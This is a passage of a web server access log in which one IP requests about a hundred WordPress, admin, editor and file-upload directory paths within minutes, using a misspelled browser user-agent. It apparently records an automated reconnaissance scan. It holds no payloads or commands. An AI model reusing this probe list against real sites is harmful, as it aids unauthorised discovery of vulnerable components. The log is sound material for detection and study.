160.177.172.214 - - [04/Nov/2025:21:30:05 +0330] "GET /Public/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:07 +0330] "GET /local/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:14 +0330] "GET /system/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:18 +0330] "GET /template/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:20 +0330] "GET /files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:25 +0330] "GET /admin/editor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:32 +0330] "GET /images/stories/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:29:58 +0330] "GET /images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:03 +0330] "GET /assets/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:06 +0330] "GET /vendor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:09 +0330] "GET /modules/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:10 +0330] "GET /Site/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:19 +0330] "GET /shop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:29 +0330] "GET /include/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:30 +0330] "GET /Assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:52 +0330] "GET /php/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:54 +0330] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:57 +0330] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:05 +0330] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:13 +0330] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:17 +0330] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:18 +0330] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:33 +0330] "GET /plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:53 +0330] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:30:56 +0330] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:14 +0330] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:15 +0330] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:16 +0330] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:19 +0330] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:24 +0330] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:45 +0330] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:47 +0330] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:51 +0330] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:02 +0330] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:02 +0330] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:21 +0330] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:28 +0330] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:46 +0330] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:50 +0330] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:31:53 +0330] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:01 +0330] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:04 +0330] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:20 +0330] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:25 +0330] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:46 +0330] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:50 +0330] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:53 +0330] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:57 +0330] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:05 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:10 +0330] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:32 +0330] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:39 +0330] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:41 +0330] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:04 +0330] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:09 +0330] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:13 +0330] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:27 +0330] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:20 +0330] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:26 +0330] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:51 +0330] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:32:51 +0330] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:33 +0330] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:40 +0330] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:33:41 +0330] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:08 +0330] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:26 +0330] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:39 +0330] "GET /admin/images/slider/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:40 +0330] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:41 +0330] "GET /sites/default/files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:43 +0330] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:44 +0330] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:45 +0330] "GET /components/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:47 +0330] "GET /wp-includes/js/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:54 +0330] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:05 +0330] "GET /wp-admin/network/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:09 +0330] "GET /wp-admin/user/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:18 +0330] "GET /wp-content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:21 +0330] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:31 +0330] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:32 +0330] "GET /wp-admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:33 +0330] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:38 +0330] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:38 +0330] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:45 +0330] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:48 +0330] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:49 +0330] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:51 +0330] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:52 +0330] "GET /wp-admin/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:34:52 +0330] "GET /wp-admin/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:03 +0330] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 